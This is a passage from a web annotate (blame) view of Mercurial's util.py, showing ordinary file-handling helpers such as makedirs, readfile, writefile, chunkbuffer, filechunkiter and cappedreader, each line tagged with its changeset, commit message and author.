Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
2528 def makedirs(name, mode=None, notindexed=False): |
29017
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2529 """recursive directory creation with parent mode inheritance |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2530 |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2531 Newly created directories are marked as "not to be indexed by |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2532 the content indexing service", if ``notindexed`` is specified |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2533 for "write" mode access. |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2534 """ |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2535 try: |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
2536 makedir(name, notindexed) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
2537 except OSError as err: |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2538 if err.errno == errno.EEXIST: |
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2539 return |
15058
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2540 if err.errno != errno.ENOENT or not name: |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2541 raise |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2542 parent = os.path.dirname(os.path.abspath(name)) |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2543 if parent == name: |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2544 raise |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
2545 makedirs(parent, mode, notindexed) |
29017
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2546 try: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2547 makedir(name, notindexed) |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2548 except OSError as err: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2549 # Catch EEXIST to handle races |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2550 if err.errno == errno.EEXIST: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2551 return |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2552 raise |
18678
423eee0b0b14
util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents:
18668
diff
changeset
|
2553 if mode is not None: |
423eee0b0b14
util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents:
18668
diff
changeset
|
2554 os.chmod(name, mode) |
18668
4034b8d551b1
scmutil: create directories in a race-safe way during update
Bryan O'Sullivan <bryano@fb.com>
parents:
18614
diff
changeset
|
2555 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2556 |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2557 def readfile(path): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2558 with open(path, b'rb') as fp: |
14100
3e9e02a41dfb
util: really drop size from readfile
Matt Mackall <mpm@selenic.com>
parents:
14099
diff
changeset
|
2559 return fp.read() |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2560 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2561 |
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2562 def writefile(path, text): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2563 with open(path, b'wb') as fp: |
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2564 fp.write(text) |
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2565 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2566 |
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2567 def appendfile(path, text): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2568 with open(path, b'ab') as fp: |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2569 fp.write(text) |
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2570 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2571 |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2572 class chunkbuffer(object): |
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2573 """Allow arbitrary sized chunks of data to be efficiently read from an |
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2574 iterator over chunks of arbitrary size.""" |
1200 | 2575 |
5446
fa836e050c50
chunkbuffer: removed unused method and arg
Matt Mackall <mpm@selenic.com>
parents:
5420
diff
changeset
|
2576 def __init__(self, in_iter): |
32123
5f53c267e362
util: remove doc of long gone 'targetsize' argument
Martin von Zweigbergk <martinvonz@google.com>
parents:
31952
diff
changeset
|
2577 """in_iter is the iterator that's iterating over the input chunks.""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2578 |
11670
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2579 def splitbig(chunks): |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2580 for chunk in chunks: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2581 if len(chunk) > 2 ** 20: |
11670
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2582 pos = 0 |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2583 while pos < len(chunk): |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2584 end = pos + 2 ** 18 |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2585 yield chunk[pos:end] |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2586 pos = end |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2587 else: |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2588 yield chunk |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2589 |
11670
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2590 self.iter = splitbig(in_iter) |
25113
0ca8410ea345
util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents:
25112
diff
changeset
|
2591 self._queue = collections.deque() |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2592 self._chunkoffset = 0 |
1200 | 2593 |
21018
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
2594 def read(self, l=None): |
1200 | 2595 """Read L bytes of data from the iterator of chunks of data. |
21018
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
2596 Returns less than L bytes if the iterator runs dry. |
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
2597 |
23139
e53f6b72a0e4
spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents:
23097
diff
changeset
|
2598 If size parameter is omitted, read everything""" |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2599 if l is None: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2600 return b''.join(self.iter) |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2601 |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2602 left = l |
17962
4c29668ca316
util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents:
17560
diff
changeset
|
2603 buf = [] |
16873
37e081609828
util: simplify queue management in chunkbuffer
Bryan O'Sullivan <bryano@fb.com>
parents:
16834
diff
changeset
|
2604 queue = self._queue |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2605 while left > 0: |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2606 # refill the queue |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2607 if not queue: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2608 target = 2 ** 18 |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2609 for chunk in self.iter: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2610 queue.append(chunk) |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2611 target -= len(chunk) |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2612 if target <= 0: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2613 break |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2614 if not queue: |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2615 break |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2616 |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2617 # The easy way to do this would be to queue.popleft(), modify the |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2618 # chunk (if necessary), then queue.appendleft(). However, for cases |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2619 # where we read partial chunk content, this incurs 2 dequeue |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2620 # mutations and creates a new str for the remaining chunk in the |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2621 # queue. Our code below avoids this overhead. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2622 |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2623 chunk = queue[0] |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2624 chunkl = len(chunk) |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2625 offset = self._chunkoffset |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2626 |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2627 # Use full chunk. |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2628 if offset == 0 and left >= chunkl: |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2629 left -= chunkl |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2630 queue.popleft() |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2631 buf.append(chunk) |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2632 # self._chunkoffset remains at 0. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2633 continue |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2634 |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2635 chunkremaining = chunkl - offset |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2636 |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2637 # Use all of unconsumed part of chunk. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2638 if left >= chunkremaining: |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2639 left -= chunkremaining |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2640 queue.popleft() |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2641 # offset == 0 is enabled by block above, so this won't merely |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2642 # copy via ``chunk[0:]``. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2643 buf.append(chunk[offset:]) |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2644 self._chunkoffset = 0 |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2645 |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2646 # Partial chunk needed. |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2647 else: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2648 buf.append(chunk[offset : offset + left]) |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2649 self._chunkoffset += left |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2650 left -= chunkremaining |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2651 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2652 return b''.join(buf) |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2653 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2654 |
30181
7356e6b1f5b8
util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents:
30087
diff
changeset
|
2655 def filechunkiter(f, size=131072, limit=None): |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2656 """Create a generator that produces the data in the file size |
30181
7356e6b1f5b8
util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents:
30087
diff
changeset
|
2657 (default 131072) bytes at a time, up to optional limit (default is |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2658 to read all data). Chunks may be less than size bytes if the |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2659 chunk is the last chunk in the file, or the file is a socket or |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2660 some other type of file that sometimes reads less data than is |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2661 requested.""" |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2662 assert size >= 0 |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2663 assert limit is None or limit >= 0 |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2664 while True: |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2665 if limit is None: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2666 nbytes = size |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2667 else: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2668 nbytes = min(limit, size) |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2669 s = nbytes and f.read(nbytes) |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2670 if not s: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2671 break |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2672 if limit: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2673 limit -= len(s) |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2674 yield s |
1320
5f277e73778f
Fix up representation of dates in hgweb.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1312
diff
changeset
|
2675 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2676 |
36362
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2677 class cappedreader(object): |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2678 """A file object proxy that allows reading up to N bytes. |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2679 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2680 Given a source file object, instances of this type allow reading up to |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2681 N bytes from that source file object. Attempts to read past the allowed |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2682 limit are treated as EOF. |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2683 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2684 It is assumed that I/O is not performed on the original file object |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2685 in addition to I/O that is performed by this instance. If there is, |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2686 state tracking will get out of sync and unexpected results will ensue. |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2687 """ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2688 |
36362
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2689 def __init__(self, fh, limit): |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2690 """Allow reading up to <limit> bytes from <fh>.""" |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2691 self._fh = fh |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2692 self._left = limit |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2693 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2694 def read(self, n=-1): |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2695 if not self._left: |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2696 return b'' |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2697 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2698 if n < 0: |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2699 n = self._left |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2700 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2701 data = self._fh.read(min(n, self._left)) |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2702 self._left -= len(data) |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2703 assert self._left >= 0 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2704 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2705 return data |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2706 |
37052
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2707 def readinto(self, b): |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2708 res = self.read(len(b)) |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2709 if res is None: |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2710 return None |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2711 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2712 b[0 : len(res)] = res |
37052
8c3c47362934
